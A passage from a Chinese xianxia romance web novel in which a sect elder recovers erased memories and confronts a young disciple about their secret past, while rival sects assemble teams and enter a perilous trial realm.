他故意将话说了一半,但已经调动了其他人的情绪,刚才还沉浸在能够探索长眠海的众人,已经开始窃窃私语,议论起这次九天盛会的真实目的。 解无欢瞪着问玉,眼神像是淬了毒一般,是积年累月的嫉妒与不甘,问玉瞥他一眼,毫不在意地收回目光。 就算大家知道太虚殿与天机阁不怀好意,但面对着千载难逢的机会,境外试炼还是会继续进行,问玉这么说也只不过是为了气一气解无欢,让他下不来台而已。 他与解无欢的恩怨可以追溯到百年前,那时的解无欢只是天机阁内门弟子,展现出超凡的预知天赋,同时在剑道上也投入许多心血,他第一次参加九天盛会,踌躇满志,结果败给了问玉的哥哥年玉,第二次参加时,又败给了问玉。 解无欢因为这件事不待见他们兄弟俩,惹不起他们,便处处为难他们的朋友,实在小气。 问玉给他挖了个坑,在众人追问之际,他叫上凌云离开了日升天阁。 脚下的流云如烟雾袅袅,凌云踏上石阶,满脸愁色,“盛儿应该会和李迎灯一起参加境外试炼,我是不是该阻止他?” 问玉反问:“若是当年的你,会因为危险放弃吗?” 凌云思索片刻,肯定地摇头,他绝对不会。 从前一腔热血,凡是都要做到最好,越是凶险的妖兽,越是能彰显勇气与实力,可现在为人父母,满腔爱意倾注在孩子身上,需要思虑的便多了,当年自己走过的路让孩子重新走一遍,只觉得后怕。 “可我担心盛儿。”凌云轻叹一声,“咱们当年真的是九死一生。” “我也会参加的。”问玉说。 凌云诧异地抬头,“你?你现在……还在合灵期吗?” 问玉点头,“百年来我一直没能突破,现在想来也是天意。” 有他在,凌云顿时有了安全感,“那你一定要替我照顾好盛儿,只要盛儿平安归来,小弟愿意为你当牛做马!” “行了,别先说这些虚的。”问玉打断他,“我有事情要请你帮忙。” “找我帮忙?!我?”凌云受宠若惊,两眼放光,“陈兄,你竟也有需要我的时候?快说来听听!” “我要借你们凌枫院的聚魂灯一用。” 第49章 第四十九章 记忆 “聚魂灯?你用它做什么?”凌云打量着他, 露出好奇的神色,“是不是遇到了什么事情?我前段时间遇到桑月,她似乎……” 问玉轻轻皱眉, 凌云便打住话茬, “你要借用我自然会给,只是东西还在凌枫院,我派人送来, 最快也要明天下午。” 问玉嗯了一声没说什么,但凌云与他相识多年,一眼便看出他的异样,“你闭关多年,连我儿子满月都没来,一出来就要聚魂灯, 难道在你闭关期间, 识海出现了什么问题?” “没有。你不要多想。”问玉犹豫片刻, 说,“我遇到一个人。” 凌云:“哦, 谁啊?” “一个姑娘。” “哦, 女人。” “……” “……” “女人!!!!!”凌云瞪大眼睛,眼里满是不可思议,“你是为了一个女人才出关的?!铁树开花了!” 他激动地去捶问玉的肩膀,问玉早有预料般躲过, 凌云扑了个空, 兴奋之色未改, 又凑过来,“快给我讲讲!是怎么回事儿!桑月追了你那么久你都不为所动,什么样的女子能打动你?是不是容貌绝世, 温柔可人?” 问玉脸上露出一丝笑意,“她的确漂亮,但绝对不温柔,性格顽劣,倒是能把人气得够呛。” 凌云神色狐疑,“啊?那你喜欢她什么?” 问玉笑意更深,“性格顽劣,却不失可爱。” “噫——”凌云被他笑得浑身发毛,想起从前问玉偏爱温顺乖巧的弟子,遇到那些性格张扬跋扈的晚辈,总会出手教训一番,现在却说顽劣者可爱,真是惊悚,“这话在你嘴巴里说出来真是诡异。” 问玉敛起笑容,“总之,多谢你能借我聚魂灯,我会尽我最大所能保护你儿子的。” “咱俩之间说什么谢不谢的,若没有你便没有现在的我,更不可能会有我儿子了。”凌云笑笑,提起儿子,又变得端庄起来,“待九天盛会结束,你来凌枫院,我请你喝一杯。” “自然。” * 最新规则发布后半日,荣春小筑门前便开始排起长队,都是来自荐参与境外试炼的。 组队进行的如火如荼,四水阁和三山宗的名声远不如太虚殿天机阁那样显赫,却出了三个入围弟子,又有当年的宋良白、年玉、问玉三位曾经的胜者,所以商怀笙三人备受推崇。 丰宝与宋惜光都已经参与过两届,交友广泛,很快便选好了自己的队员。 商怀笙初来乍到,人认识没几个,更不知道实力,有来找她的,聊上几句,觉得投缘,就先记下来,打算收入麾下。 把名单确定好之后,商怀笙拿给元妄,元妄扫了一眼,毫不留情地撕掉,“五个人里面三个医修,一个还在识灵期,还有一个……这叫什么?汪大刀?你连人家叫什么都没弄清楚,你就要这样报上去?” “他们和我聊得来。” 商怀笙在荔香院门口打败了凌盛,一战成名,颇受医修喜爱,另外两个则是来挑战过她的,这些人说话好听又和她聊得来,所以商怀笙选了他们。 “聊得来?”元妄瞥一眼她藏在桌下的大包小包,“小小年纪便在这里收受贿赂,一点吃的就把你收买了?你可知道那境外试炼是什么地方?你不好好挑选队员,便是带她们去送死!” 元妄鲜少有这么严厉的时候,商怀笙心虚地低头,将桌下的包裹掏出来,低声道,“咱们宗门中的弟子都不愿参加,外面我又没有认识的人,也只有他们来找我。” 元妄看着她这幅模样,无奈地叹气,提笔写下自己的名字,“我陪你。” 商怀笙惊讶抬头,“师兄,你?” “你这是什么表情,不信任我?”元妄抬手在她脑袋上虚敲一下,“你师兄好歹也是合灵期稳气,知根知底,不比你随便挑的人强?” “可是……师兄你不是很久不参加这种竞技了吗?” 元妄天资聪颖,宋良白曾说过他是自己门下弟子中悟性最高的,只可惜心思不在修道上,满脑子情爱,不然修为早就能更进一阶。 元妄也的确不爱与门中弟子打斗切磋,只参加过一次弟子论道,之后的九天盛会都只是来凑个数。 如今他却主动提出要参加,商怀笙不由得困惑,“里面很危险的。” “你也知道危险!”元妄停笔,毛笔甩在纸上,落下一个墨点,“那你还这样胡来。” 商怀笙道:“不是说会给我们带上传送符吗,实在走不下去,传送回来便是了。” 她心态平和,总归是大门派组织的比赛,里面再危险,只要她不是一个劲儿地寻死,也总有办法回来。 元妄却说她太天真了,“太虚殿这些人怕是自己都没有亲自去过,谁知道传送符在里面会不会有效果。” “啊?”商怀笙皱起眉头,“他们不是说会保障各宗门弟子安全的吗?” “现在是一个说法,若真出了事,便是另一个说法了。毕竟你们连生死状都签了。” “嘶——这么危险?” 商怀笙眼珠子一转,内心有一瞬放弃参加的想法。 元妄眼中隐隐含着期待,等待她说出放弃,但这念头只是在商怀笙脑海中划过,很快便被能够挑战未知的紧张与兴奋取代。 更何况宋惜光都没放弃,她要是退缩,那真是丢了他们四水阁的脸。 商怀笙:“危险又怎么了,我可不能成为十七人里唯一放弃的。” 期待落空,元妄脸上划过一丝失望,在自己的名字后面,加上了南宫汀的名字,“南宫汀来过,说你若是需要医修,她愿意同往。” “陆雪青的师姐?”商怀笙问。 “是,陆雪青刚开始修行,没有自保的能力,不能参加,所以他求了南宫汀来帮你。”元妄看她一眼,打趣道,“南宫汀可是天泉医谷的招牌,多少人抢着要呢,陆雪青面子倒是大,也是真的为你着想。” 商怀笙眼神躲闪,面对陆雪青的好意,心脏却觉得沉重,“师兄,我该怎么报答他?” 有来有往,她心里才会好受些。 元妄想了想,说:“比起报答,他可能更想要别的。” “可我不喜欢他。”商怀笙脑海中浮现问玉的脸,“他待我越好,我心里越不舒服。” 元妄问:“你确定不喜欢他?你之前还说不讨厌他,不知道心动的感觉,怀笙,你有喜欢的人了吗?” “……” 商怀笙轻轻摇头。 元妄陡然握紧毛笔,落笔加重,心里忍不住感慨:怀笙竟然也学会撒谎了。 他没有拆穿商怀笙,将话题又拉回到陆雪青身上,“别的可以先放放,你要亲自去找他道谢,顺便见一见南宫汀,毕竟是要一起组队的人。” 商怀笙想了想,认真地点头,“好。” * 聚魂灯的香味飘来,问玉感到一阵头疼,不同于引梦香的温和,聚魂灯原是用于重聚因重伤或是毒咒而损毁的魂魄,用以找回记忆这种事情,实在是有些大材小用。 灯芯不断地跳动着,逐渐与问玉的心跳同频,像是把他的心脏关进狭小的灯罩中,挤压感使得问玉呼吸不畅,他攥紧衣袖,似有一双手撕扯着他的灵魂,将他的魂魄与□□分离。 疼痛感不断攀升,即将到达难以忍受的程度,问玉眼前一黑,来到一处熟悉的地点。 是曾经在引梦香幻境中出现过的高峰,他就站在山底,脚下便是布满青苔的石阶,那青苔绿得诡异,随着他的呼吸起伏跳动,似在诱惑着他走上去。 同一座山峰出现两次,问玉忍不住有了别的猜测:这也是他所遗忘的记忆吗? 犹豫再三,问玉决定上去一探究竟,在抬脚落到石阶的瞬间,耳畔响起一个声音,“你终于回来了!” 依然是在幻境中出现过的,那个俏皮的女声,问玉只听过一次,却牢牢地记住了。 “你这次可找到合适的师父了?我就说嘛,修仙有什么好的,再厉害的神仙,现在不都陨落了?留下这烂摊子,害得我被困在这里。” “你为什么老想着离开,是嫌我烦吗?要不是这里人迹罕至,我才不想和你说话呢。” 问玉一步步地向上走,那声音喋喋不休,云海在他身侧不断翻涌,像是沸腾的水,四周的景色也在不断地变化,树木花草茂盛又枯萎,春去秋来,四季更迭。 “常春阁?没听说过。” “你真的要去吗?我不喜欢那里,太远了。” “你会回来看我吗?” “好吧,你走了我又要无聊了。” 那声音戛然而止,一连踏上十几个台阶都没有再响起,问玉心中疑云丛生,脚步重重落下,忽的大地撼动,眼前的高峰在急速崩塌。 “陈问?你不记得我了吗?” “你什么时候变成了陈问!!” “住手,你不可以带走它!!” 霎那间,山崩地裂,山脊裂开狰狞巨口,千吨万吨碎石在虚空中翻卷,岩层剥落,云海被气浪掀飞,与翻腾的烟尘交织,宛如毁灭的狂潮。 问玉的身躯也随之下坠,他却无法操控自己的身体,耳边还回荡着那人不甘悲戚的怒吼,伴随着高峰土崩瓦解的悲鸣。 在幻境中他的身体不会受伤,心脏却能感受到疼痛,内疚,怀疑……问玉捂紧心口,随着巨石重重坠落的瞬间,世界归于平静。 “我、我乃四水阁弟子,遭人暗算,你若救我,必有重谢……” 耳边又响起一个声音,问玉睁开眼,看到一个女子倒在自己面前,他本想转身离开,可她紧紧抓着自己衣角,他竟然挣脱不开。 问玉无奈地俯身,将她横抱而起,带回了自己的住处。 第50章 第五十章 该生气的不该是我吗? 在元妄的把关下, 商怀笙凑齐了她的队伍,元妄,南宫汀, 双月山庄弟子乔意晚, 大师兄门下弟子江广益,以及潮海阁弟子妙星。 江广益比商怀笙早三十年进宗门,和她大师兄高明叶一样, 也是个循规蹈矩,正到发邪的人物,商怀笙和他有几分交情,数次违反门规都是被他逮住的。 乔意晚主动找上门来,她擅长各种符咒,尤其擅长遁术与藏匿, 简单来说就是很会逃跑和保命, 双月山庄无人入围决赛, 她手中十块玉牌,实力也不容小觑。 至于妙星, 他的出现让商怀笙和元妄都惊讶不已, 且不说他并未参加弟子论道,刚拿到玉牌便主动弃赛,就算他真想参加,也该与潮海阁的茉沁同行, 这样与他们组队, 岂不是公然站在茉沁的对立面? 商怀笙以为他是太菜了被茉沁嫌弃才加入他们, 毕竟他看起来很瘦小,像是十三四岁的少年,手无缚鸡之力, 商怀笙本想直接拒绝,却被元妄阻止。 潮海阁与天机阁有千丝万缕的联系,擅长占星卜算,更擅长制造幻境与传送通道,听起来没什么用,但当下数条同往妖魔鬼界的捷径通道,大都出自潮海阁之手。 妙星是桑月唯一的徒弟,他从未参加过任何宗门间的切磋,旁人对他的实力也没有具体的认知,但冲着他是桑月徒弟这一点,元妄便要留下他。 商怀笙一开始是不同意的,她觉得妙星是在故意装深沉来掩饰自己是个菜鸡的事实。 太虚殿的何朝兰也鲜少在外人面前展示实力,但大家对她的能力心知肚明,所以这次都挤破了脑袋想被她选中。 商怀笙可不想要个好看但没用的绣花枕头。 但元妄和南宫汀一致认为应该留下他,潮海阁是对长眠海最为了解的,且历年的九幽幻境都由潮海阁打造,有潮海阁的人在能给他们提供不少帮助。 商怀笙被他们说服,同意了妙星的加入,把名单报上去之后,这个一直沉着脸一副高深莫测模样的小美人,暗自长出一口气。 商怀笙看见了,商怀笙觉得被坑了,她问妙星,“长眠海很危险的,你真的要去?” 妙星淡淡地说:“要去。” 商怀笙掏出纸和笔,“那你先来画一下长眠海附近的地图吧,听说这是你吗潮海阁的必修课。” “……” 妙星鼓起腮,似乎有些不满她这么快就给自己布置任务,但还是接过笔,勤勤恳恳地画了起来。 见他画的好像还真是那么回事儿,商怀笙才稍微放心了些。 刚才她递交名单时见到了宋惜光,瞥了一眼,发现他的队伍里竟然有问玉。 那一瞬间商怀笙竟然有些失落,潜意识里觉得问玉应该和她一起,毕竟他曾经教导过她。 可她明知那是不可能的,问玉是三山宗的人,当然要以三山宗弟子为先。 境外试炼开启的前一日,报名截止,总共七十二人参加。 若十七人都选足了无人,那应当有一百零二人,但现在的人数远低于预期,元妄打听一番,得知有二人放弃了参加,且何朝兰,何穆竹两人并未选择队友,而是加入了李迎灯的队伍。 “居然还能这样操作。”商怀笙醍醐灌顶,“他们这是强强联合,势在必得了。” 元妄揉着太阳穴,语气忧愁,“真是乱套了,可见他们有多么重视这次境外试炼。” “说明神皇弓真是个好东西。”商怀笙心态不错,嘴里吃着陆雪青给她做的山楂话梅条,对即将面临的试炼还有几分兴奋,“师父昨日不是传了信来,说了什么?是不是叫我们一定要拿下神皇弓?” “他让咱们量力而行,不可冒进。” “哇,这种话真的是从师父嘴巴里说出来的吗?” “本来只是宗门之间的交流,这样一来,不知道要牵动多少人了。” 元妄看她一眼,见她神色悠闲,伸手抓了根话梅条,“这么好吃吗?” “酸酸甜甜的,没想到陆雪青还会做这些零嘴。” 元妄被酸的皱眉,砸吧几下快速咽了下去,“落凤原的督主,从前怕是连厨房都没进过,你走之前去见他一面,免得他担心。他一个从未修行过的人,来到这种地方,多不容易。” 这话像在说妻子颠沛流离去找在外打工的丈夫,而丈夫心安理得地享受着妻子的照顾,还不知感恩。 商怀笙直起腰板,含糊地应了一声,有几分心虚。 元妄又叮嘱她几句,便回房去收拾行李,绕过回廊,又遇见了问玉。 问玉立在墙后,阳光透过石窗在他身上洒下光斑,脸上无悲无喜,沐浴在阳光中,宛如庄严肃穆的石像。 元妄顿了顿,““……见过师叔。” “明日午时启程,准备的如何了?” “差不多了。” 上一次两人对话,还是在商怀笙昏迷之后,他几乎挑明了问玉的心思,甚至狂妄地敲打对方,试图提醒对方这种对晚辈生出不轨心思的行为不当。 但问玉似乎并没有受他影响,前几日还频频出现在商怀笙身侧。 想到这里,元妄深吸一口气,心生不悦,“听闻师叔也要一同入境。” “是。”问玉目光淡淡一扫,明明不带情绪,却让人莫名脊背生寒,“你仿佛不怎么乐意。” 元妄心脏一颤,牵出一丝笑意,“晚辈不敢。有师叔在,三山宗当如虎添翼。” 问玉没有回复他,眼底如寒潭静水,淡漠地注视着他,那看透一切的目光,让元妄如芒在背。 “元妄,你拜入四水阁时,十四岁,父母双亡,长于烟柳之地,师兄与你偶遇时,你因与有夫之妇有染,被打个半死,弃于山崖下。” “……你什么意思?” 肮脏不堪的过去被他用这种不咸不淡地口吻说出来,对元妄来说无异于是一种挑衅。 “就因为我拆穿了你喜欢怀笙的事情,你便要将这种事情提起来羞辱我吗?”元妄的脸上尽是怒意,用以掩饰自己被戳中心事的窘迫和自卑。 问玉的神色并无变化,“当年师兄带你回来时,知晓你的过去,大家都不愿意让你留下,是师兄力排众议,收你为徒,特意请了我和兄长前去,在师父的灵位前,为你完成的拜师礼。” 他语气平静地像在讲述一个事不关己的故事,“所以,你报答你师父的方式,就是背叛了他?” “……我没有背叛我师父!” 元妄的五官变得扭曲,恼羞成怒,指节攥紧,青筋暴起,“少在这里信口雌黄!” “商怀笙是如何落入囚龙谷的,你当真不知情吗?” “……” * “怀笙!元妄师叔和师叔祖打起来了!” 房门被人推开,沙巧火急火燎地进来,商怀笙正躺在床上,一听到这话便猛地蹦了起来。 “谁和谁?” “问玉和元妄师兄!应该说是师叔祖把师叔给打了。” 商怀笙霎时变了脸色,顷刻间便想起四水阁弟子间关于问玉严厉的传言,与他相处的久了,都忘了他也是个狠厉的人。 战斗发生在后院,矮墙后已经聚集起几个三山宗四水阁弟子,程公乐与宋惜光也在当中,只是一个面露怯意一个不知所措,二人皆不敢靠近。 两人所处的位置被一处结界遮挡,只能看到人影闪动,瞧不出具体的情况,也听不见他们说话,身影一青一黑,显然青色的落了下风,被吊在半空中,荡秋千一样来回晃荡。 “师兄!”商怀笙担心不已,立刻便要冲上前去。 程公乐伸出胳膊拦住她,“现在情况未明,你不要贸然行事。师叔他不会随便处置晚辈,定然是元妄做了什么事情……” “我管他做了什么!”商怀笙大力甩开他,程公乐一个趔趄,险些没有站稳,“哪里轮到他一个外人来管教四水阁弟子!” 说罢,商怀笙不由分说地冲进结界,她已经做好暴力破界的准备,但这结界像是有意识一般,她一靠近便将她吞入,商怀笙还没来得及惊讶,便见元妄被法术吊在半空,双手双脚皆被捆住,脸上有个明显的巴掌印。 一股怒气直冲商怀笙大脑,元妄与秦湫自小抚养她,于她而言如亲生父母一般,是她不可触碰的逆鳞,商怀笙顿时双眼猩红,转头凶狠地瞪向始作俑者。 “你在做什么!”她抬起手,已经摸到发间的断龙,“谁允许你这么对我师兄!平日叫你一声师叔,你还真把自己当成长辈了!你一个三山宗的人,凭什么来管教四水阁弟子?” 问玉没有半分反思的意思,唇角勾起冷笑,一抬手,一道光绳飞来,眨眼的功夫便将商怀笙五花大绑。 商怀笙咬牙,眸中跳动两簇怒火,用尽全身力气,要将绳索挣脱,但她还没来得及使力,便听见问玉的声音传过来,“你为什么生气?” “该生气的不该是我吗?” “商怀笙,在对我做出那些事情后,还出现在我面前,你怎么敢?” “我们在囚龙谷的一切,对你来说算什么?” “……” 他都知道了? 几句话的功夫,商怀笙便泄了力,满腔的怒火被恐慌冲淡,两种情绪在她脑内相冲,几乎要把她的脑袋给撑炸,她不可置信地看向问玉,视线中荧光一闪,竟是一滴泪珠在他腮边滑落。 问玉他、他哭了……??!! 商怀笙手足无措,来回转动脑袋,看看被绑在半空荡秋千的师兄,再看看被绑成螃蟹的自己,以及眼前莫名其妙就落了泪的问玉。 她深吸一口气,在现在就拉着师兄一起和晚会儿再死之间,她选择后者,并转动平时不怎么灵光的大脑,再次扯出了一个谎言,“其实,我很后悔,我想告诉你,但是没找到合适的机会。” 问玉身形一僵,眼底划过一丝惊讶的神色,轻声问道:“当真?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 第五十一章 当真!! “当真!!!”商怀笙点头如捣蒜, 见他情绪稳定些许,立马乘胜追击,“我第一次经历这种事情, 给你下药, 是怕闹到师父面前,被师父责怪。” 这句话是实话,商怀笙真情流露, 言辞诚恳,问玉脸色缓和许多,解开元妄身上的束缚,大手一挥,将他甩出结界,独留他与商怀笙。 眼见他步步走近, 商怀笙腿脚一软, 险些跪下, 大脑都快转成陀螺了,想说点什么来哄住他, 以免他也把自己弄到湖底冰封多日。 “我、我当时太慌张了, 离开后没多久我便后悔了,我不该如此没有担当,我、我……” 他的气息逐渐逼近,商怀笙的心提到嗓子眼, 眼看即将小命不保, 她说鬼话的本领也在瞬间达到顶峰, 两眼一闭,将心一横,大声道:“后来不敢告诉你, 是因为我心悦你,不知道该如何面对!” “……” 问玉将商怀笙这些时日的表现都看在眼中,怎么会猜不出她心中所想,怕是巴不得他永世都不会想起,现在这样说,也只不过是拿来哄她的鬼话而已。 问玉指尖微微颤抖,明知她只是扯谎,却还是忍不住为此动容,他闭上眼睛,唾弃这样的自己。 “撒谎。” 短短两个字,却像是给她宣判了死刑。 一股凉意从尾脊直窜天灵盖,商怀笙深吸一口气,苦着脸等待问玉的刑罚,却忽觉唇上一软,再睁开眼,便是问玉的绝世容颜。 ——! 问玉一触即离,商怀笙陡然瞪大眼睛,脑中仿佛炸出一道惊雷,将那些乱七八糟的想法全都轰了个稀碎,只剩下一个念头: 问玉他疯了? “商怀笙,我是不会放过你的。” 问玉说着狠话,脸上却带着笑意,眸底藏着不易觉察的庆幸与喜悦。 见商怀笙呆愣没有反应,他伸手扼住商怀笙脖颈,将她提起,商怀笙下意识地闭上眼睛,预料中的暴打没有降临,反倒是嘴唇又被吻住,还用牙齿轻碾慢咬,直至将她双唇咬得红肿,问玉才放开她,将她甩到一边。 ……? 商怀笙完全呆住了,她听那些复杂的符术课时都没有这般迷茫,她舔了下嘴唇,回味着刚才的滋味。 问玉的嘴唇……好软,他身上也香香的。 问玉抬起手,作势要扇她巴掌,落下来时却是轻拍两下,比起惩罚,更像是挑逗,他语调冰冷,带着一丝恨意,“你对我做的这些,我都要一一讨回来。” “……” “哦。”商怀笙有些控制不住自己的表情,望着问玉冷峻的神色,她唇角扬起一丝弧度,“师叔,你要怎么讨回来?” “不许叫我师叔。”问玉嫌恶地瞪她一眼,“商怀笙,你这般欺我瞒我骗我,还敢在我手下学习修行。我有千万种方法来折磨你,让你求生不得求死不能。” 话说的这么狠,居然还要亲她,师叔该不会以为把那些事情做回来便是报复了吧? 也不看看他那张脸,连生气的时候都别有一番滋味,也不知道是便宜了谁。 商怀笙克制着上扬的嘴角,垂首做出一副忏悔的模样,“道长,晚辈知错了。” “呵!现在知错也没用了。” 他冷哼一声,解开结界,拂袖离去。 矮墙后的人群自动散开,待他走远了,沙巧才敢走上前来,手一触碰到商怀笙身上的光绳,便被烫出一道红痕。 “嘶——涂了烈火蛙的毒液,怀笙,你怎么样?” “没什么大事。”商怀笙低头看自己手腕上的红痕,难怪刚才她觉得身上热,原来是有毒啊,她还以为是被问玉给刺激的呢。 元妄身上的束缚已经被解开,他衣衫发丝凌乱,模样略显狼狈,被丰宝搀扶着,眉头紧皱,欲言又止地看向商怀笙。 程公乐站在两人中间,愁得眉间三条横杠,“你们究竟做了什么,惹得师叔这样动怒?” 商怀笙看向元妄,对方身形微颤,眼神飘忽,迅速低下了头,内心的慌乱一览无遗。 商怀笙知道她可能瞒不过师兄师姐,却不想两人原来早就知道了,难为他们还要在她面前辛苦装不知道。 此事被拆穿,该羞愧慌乱得应该是她才对,毕竟她从小到大虽然干过许多不听话的事情,但这样出格的还是头一次。 “你们两个,平日里能说会道,现在倒是不说话了!”程公乐气得咬牙,“马上就是境外试炼了,你们若是再闹出什么幺蛾子,便立刻滚回宗门,不要在这里丢人现眼。” 商怀笙看向元妄,对方无奈地晃了下脑袋,道:“是师弟的错,自当反思,不会再犯。” “你最好是!”程公乐看着商怀笙说。 商怀笙挤了下眉毛,嘁。 将元妄扶回房间,支开众人,商怀笙盯着元妄看了片刻,扑通一声,双膝跪地,“师兄,是我的错。” “诶,你、你……你起来吧!”元妄捂着脸,心情无比复杂,根本不想看她,“这事儿没有对错,是我教坏了你。” “是我的错!” 商怀笙扫过他颈上,手腕上的伤口,烈火蛙虽有毒,但毒液并不致命,只是涂上之后火辣难忍,是专门用作折磨人的。 这知识还是当时跟着问玉时学到的,没想到也用到自己身上。 想起问玉,商怀笙先是回忆起那两个莫名其妙的吻,问玉像是被气疯了,没打她也没冰封她,反倒还亲了她。 她很想问问元妄问玉这是什么意思,但又怕惹元妄生气,微微低着身子,诚心认错,“师兄,当时我中了情蛊,问玉师叔悉心照料我,可还是没能阻止情蛊发作,我是在……事后才得知他的身份,怕他带我到师父面前认罪,才给他喝了忘忧果……我也没想到会闹成这样。” 这样一盘,她的确挺不是人的,在囚龙谷问玉说话虽然不好听,但一直再想办法救她,反倒是她恩将仇报。 不过商怀笙当时吓坏了,怕自己落个血溅四水阁的地步,只想着赶快遮掩此事,根本没有去细想之后该怎么办。 如果当时她提前告诉了元妄和秦湫,或许还会有别的法子…… 想到这里,商怀笙鼻尖一酸,湿润了眼眶,“早知今日,我便该找个由头避开他。” 听出她声音中的哽咽,元妄也是满心怜惜,伸手将她扶起,“我说了此事不怪你。我和秦湫早猜到此事,但不愿你与问玉过多接触,所以也帮你瞒着。只是没想到他会这么快恢复记忆。” 先是引梦香后又聚魂灯,问玉真想知道真相,多的是法子,元妄不由得有几分悔恨,若不是他当时拿失忆的事情故意刺激问玉,他也许不会那么快去找凌云借聚魂灯来。 而且现在……元妄想起问玉对他说的那些话,眼底闪过一丝恨意。 他竟敢说自己背叛师父,他一个外人,有什么资格管教他! “怀笙,你与问玉都说了什么?” “他说不会放过我的。” “……” 元妄神色僵硬,如临大敌,“他想怎么对你?” “他……”似乎想亲死她。 商怀笙眼珠子转了转,决定不说这事儿来让元妄糟心了,便道:“他没说,只说会一一讨回来。” 元妄深吸一口气,“难道他想趁着境外试炼的时候做掉你?” “做……”做吗? 商怀笙眉头皱起,“我躲着他还不行吗?” 元妄又是一副欲言又止的模样,沉默良久,才道:“怀笙,你不能躲他,你现在还需要他。” 商怀笙:“我?” “是。你尚未完全掌控断龙,一旦失控,需要他来帮你。师叔他……很擅长镇器。” “断龙的旧主便是在长眠海神陨,去了那里,断龙或许会更加躁动。” “他要是不愿意该怎么办?” 商怀笙想了想,这几次失控,都是问玉在安抚她,但如今他记忆恢复了,还会愿意帮她吗? 她还没有见识过问玉的手段,若他真想弄死她,放任她失控,永远留在长眠海,她也无计可施。 “你放心,不管他愿不愿,我都会将你平安带回来的。” 元妄皱起眉,眼中满是对她的担忧,搭着她的肩膀,长叹一声:“师妹啊……” * 荣春小筑发生的事情并未外传,三山宗四水阁虽纷争不断,但也知道家丑不可外扬的道理,只是明眼人都能看出问玉心情不佳,脸色比平日还冷,铁青着脸,像要吃人似的。 九幽幻境与凌晨开启,镇化山仍处在黑夜中,通往长眠海的大门散发着晶莹的光辉,像月光一样柔和,内里却是黑暗的旋涡,似乎蕴藏着无尽的危险。 此次参加境外试炼的人比从前都要多,七十二人皆为宗门内翘楚,是被寄予厚望的新生力量。 送行现场熙熙攘攘堪比集市,斗志昂扬的保证生,饱含担忧的嘱咐声,依稀还能听见细碎的哭声。 商怀笙循声望去,见凌云抱着凌盛,哭得上气不接下气,大力捶着凌盛的背部,凌盛尴尬又无奈,想推开他又不忍心,四下环顾,对上商怀笙的视线。 商怀笙冲他呲牙一笑,凌盛顿时涨红了脸,不由分说地将凌云推开,退至李迎灯身后。 “行了爹,我会平安回来的,你早些回去休息吧。” 凌云抹抹眼泪,哽咽着嘱咐许多。 李迎灯的队伍中,只有凌盛有亲人送行,其他人身边都是同门的师弟师妹,商怀笙瞥见其中二人并肩站在一起,一男一女,模样有几分相似,想来便是那对有名的双胞胎何朝兰与何穆竹。 两人面无表情地静静站着,身边没有人,两人之间也没有语言交流,披着夜色,像是传说中的牛头马面。 他们似乎是在看着商怀笙的方向,瞳孔无光,没有聚焦。 商怀笙望得出神,忽的耳边传来陆雪青的声音,“怀笙。” 她收回视线,见陆雪青站在自己面前,衣裳单薄,脸颊红通通的,不知道是不是冻得。 “你怎么穿成这样就出来了,不嫌冷吗?”商怀笙问。 “我不冷,习医之后身体已经大好了。”陆雪青摸了下自己的脸颊,道,“我是跑过来的。” 难怪气喘吁吁的。 商怀笙扫了眼他的上身,还是觉得他穿得太少,便从行囊里找了件披风出来,唰的展开,披在他身上。 做完这些,商怀笙便感到身边无数好奇的视线射了过来,其中一道则是灼热异常,盯得她头皮发麻。 “哈哈,瞧我,还当你是从前那样呢。”商怀笙松开手,后退半步。 陆雪青自己将披风系上,唇角挤出笑容,“我知道,你总是这样,遇到比自己弱小的人,便会下意识地照拂。” 但是怀笙,我已经不弱小了。 陆雪青没有将内心所想说出口,面对那些好奇的目光,他神色自然,“你们这次要去多久?” “至多半个月。” “好,等你回来,差不多能赶上云月都的年节,我们一起去瞧瞧商叙好不好?” “……好。” 等她回来,她也有话想对陆雪青说。 告诉他自己并不喜欢他,只想把他当做好友对待。 商怀笙早就该告诉他了,但是一想到他为商叙劳损心力那些年,又苦苦修行走到这里,她不忍心。 “诸位道友,该启程了。” 一道蓝色的光芒划破黑夜,九幽幻境彻底开启,门后吹来凛冽刺骨的寒风,像是来自冻林的警告。 “怀笙,走了。”元妄叫她一声。 “好,来了。”商怀笙拍拍陆雪青的肩膀,“我走了,你保重。” “保重。” 陆雪青招招手,眼看商怀笙踏入那道大门,南宫汀在他身边经过,小声在他耳边低语。 “不管师父让你做什么,都不要答应他。” 陆雪青来不及回应,南宫汀的身影被蓝光吞噬,参赛者如过江之鲫,纷纷踏入其中。 第52章 第五十二章 幻月海 黑色的海浪拍打着岸边礁石, 石身已经千疮百孔,散发着腐朽的气息,天空是墨绿色的, 没有飞鸟, 也没有云朵,更没有一丝海风,大海没有尽头, 处处都透着死寂,海面上偶尔会飘过一个个白色的残影,是已逝之人的魂魄。 商怀笙常听说长眠海之名,通过长眠海便是鬼界,她原以为长眠海只是一片大海,没想到海后还有一片幽森的森林, 树木都是黑绿色的, 一点生气都没有。 进来时有那么些人, 睁眼时身边却只有十余人,九幽幻境虽有修真界传送门之称, 但一次负担这么多人还是太勉强了, 所以大家都被分散在各处。 幸好,元妄丰宝等熟悉的人都在身边,他们队伍的人也都在。 不好的是,问玉也在, 刚才她和陆雪青说话时他便在一旁盯着, 现在更是阴恻恻地注视着她。 商怀笙捏了把冷汗, 转头躲避他的视线。 大家陆续清醒过来,找到了自己的队伍,商怀笙从袖中取出一枚金灿灿的罗盘, 罗盘中央一根银色的细线一样的东西,指向他们后方的森林。 进来之前太虚殿给带队者的,能够指引神皇弓方向的罗盘。 “这边!” 丰宝先开口,示意队员和自己一同进入森林。 “待会儿吧,现在情况不明,看看情况再说。” 元妄虽与商怀笙同队,但他一开口,丰宝便也打消了立即进去的念头,召集队员一起在附近查看。 商怀笙抬头看向天空,总觉得下一刻天幕便会塌下来,这里没有风,空气似乎也不流动,沉闷得让她喘不过来气。 正发呆之时,身旁脚步声传来,“把断龙取下来吧。” 是问玉的声音,商怀笙下意识地照做,摸到头上的剑簪时才反应过来,两人现在的关系正处在紧张的阶段。 她歪头看向问玉,没再动作,对方轻皱眉头,“神器之前会互相影响,这里的神器被掩埋太久,受死气侵蚀,会对断龙产生负面的影响。” “哦。”商怀笙觉得他言之有理,将断龙取下来放在手中,“可是我没有剑鞘。” 自她拿起断龙那一日起,便没有见过断龙的剑鞘,幸好断龙能够变化形态,所以她大部分时间都将断龙当做发簪。 